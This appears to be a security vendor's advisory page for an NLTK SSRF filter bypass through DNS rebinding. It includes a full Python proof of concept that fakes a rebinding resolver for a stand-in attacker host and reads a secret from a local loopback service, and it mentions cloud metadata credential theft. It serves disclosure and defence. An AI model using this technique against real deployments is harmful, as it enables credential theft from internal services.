CVE-2026-12075
HIGHCVE-2026-12075 is a high-severity (CVSS 8.6) vulnerability in nltk. O3 Security confirms whether CVE-2026-12075 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Natural Language Toolkit (NLTK): DNS-rebinding SSRF filter bypass in nltk.pathsec.urlopen (nltk.download / nltk.data.load) defeats ENFORCE mode
Real-World Exposure
nltkReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
nltk.pathsec provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict ENFORCE mode for security-sensitive environments. The filter is bypassable by DNS rebinding: validate_network_url() resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under nltk.pathsec.ENFORCE = True.
Details
urlopen() validates, then hands the raw hostname to urllib, which performs a second name resolution deep in the connection layer (http.client.HTTPConnection.connect → socket.create_connection → socket.getaddrinfo). The validation-side and connection-side resolutions are fully independent code paths with independent caches:
validate_network_url()calls_resolve_hostname(parsed.hostname)and checks each returned IP against loopback/link-local/multicast/private, blocking underENFORCE. (Resolution #1.)urlopen()then callsbuild_opener(...).open(url)with the original URL (raw hostname), sourllibresolves the hostname again at connect time. (Resolution #2 — the address actually connected to.)
_resolve_hostname is decorated with lru_cache and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's getaddrinfo does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not.
PoC
import socket
import threading
import warnings
from collections import defaultdict
from http.server import BaseHTTPRequestHandler, HTTPServer
warnings.filterwarnings("ignore")
import nltk
import nltk.pathsec as ps
ps.ENFORCE = True # the documented strict SSRF sandbox
ATTACKER_HOST = "rebind.attacker.test" # attacker-controlled authoritative DNS
PUBLIC_IP = "93.184.216.34" # public address served for the validation lookup
SECRET = b"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS"
# --- A loopback-only "internal service" (stands in for 169.254.169.254 / admin UI) ---
class _Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("Content-Length", str(len(SECRET)))
self.end_headers()
self.wfile.write(SECRET)
def log_message(self, *a):
pass
def start_internal_server():
srv = HTTPServer(("127.0.0.1", 0), _Handler)
threading.Thread(target=srv.serve_forever, daemon=True).start()
return srv.server_address[1] # ephemeral port
# --- Model the TTL-0 rebinding record at the resolver layer ---
_real_getaddrinfo = socket.getaddrinfo
_lookups = defaultdict(int)
def _rebinding_getaddrinfo(host, port, *args, **kwargs):
if host == ATTACKER_HOST:
n = _lookups[host]
_lookups[host] += 1
ip = PUBLIC_IP if n == 0 else "127.0.0.1" # 1st=public (validate), then loopback (connect)
p = port if isinstance(port, int) else 0
kind = "VALIDATION -> public" if n == 0 else "CONNECT -> loopback"
print(f" [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})")
return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, "", (ip, p))]
return _real_getaddrinfo(host, port, *args, **kwargs)
def fetch(url):
with ps.urlopen(url, timeout=5) as r:
return r.read()
def main():
print("=" * 62)
print(f" NLTK pathsec DNS-rebinding SSRF bypass PoC")
print(f" nltk {nltk.__version__} | nltk.pathsec.ENFORCE = {ps.ENFORCE}")
print("=" * 62)
port = start_internal_server()
print(f"[*] internal loopback service: http://127.0.0.1:{port}/ (returns secret)\n")
socket.getaddrinfo = _rebinding_getaddrinfo
ps._resolve_hostname.cache_clear() # fresh validation cache, as on a real process
try:
# ---- Control: a DIRECT loopback URL must be blocked by the filter ----
print("[1] CONTROL: direct loopback URL (filter must block this)")
direct = f"http://127.0.0.1:{port}/"
try:
fetch(direct)
print(f" [?] unexpected: {direct} was NOT blocked\n")
control_ok = False
except PermissionError as e:
print(f" [OK] blocked -> PermissionError: {e}\n")
control_ok = True
# ---- Attack: rebinding hostname bypasses the same filter ----
print("[2] ATTACK: rebinding hostname (public at validate, loopback at connect)")
evil = f"http://{ATTACKER_HOST}:{port}/"
print(f" fetching {evil}")
try:
body = fetch(evil)
leaked = SECRET in body
print(f" body returned to caller: {body!r}")
if leaked:
print("\n [VULN] loopback-only secret exfiltrated through pathsec.urlopen")
print(f" validated IP = {PUBLIC_IP} (public) but connected IP = 127.0.0.1")
print(f" non-blind SSRF despite ENFORCE = {ps.ENFORCE}")
verdict = "VULNERABLE"
else:
print("\n [?] fetch succeeded but secret marker not present")
verdict = "INCONCLUSIVE"
except PermissionError as e:
# Patched build: validate against the connect-time IP (or pin/resolve-once).
print(f"\n [SAFE] blocked -> PermissionError: {e}")
verdict = "NOT VULNERABLE"
finally:
socket.getaddrinfo = _real_getaddrinfo
print("\n" + "=" * 62)
print(f" Control (direct loopback blocked): {control_ok}")
print(f" Result: {verdict} (ENFORCE = {ps.ENFORCE})")
print("=" * 62)
if __name__ == "__main__":
main()
Impact
- Full-response (non-blind) SSRF. Because the fetched body is returned to the caller (e.g.
nltk.data.loadwithformat="raw"), an attacker can read responses from internal-only HTTP services, loopback admin interfaces, and — most seriously — the cloud instance metadata service, which on major cloud providers can expose IAM/service credentials and lead to cloud account compromise. - Bypass of an explicit security control. It defeats the
nltk.pathsecSSRF filter, including theENFORCEmode that NLTK's documentation recommends precisely for environments where untrusted input may reach NLTK. Deployments that adopted that boundary are not actually protected, and thelru_cacheannotation claiming to mitigate rebinding makes the false assurance worse.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | nltk | all versions | 3.10.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nltk. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update nltk to 3.10.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-12075 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2026-12075 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to CVE-2026-12075. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-12075 in your dependencies?
O3 detects CVE-2026-12075 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.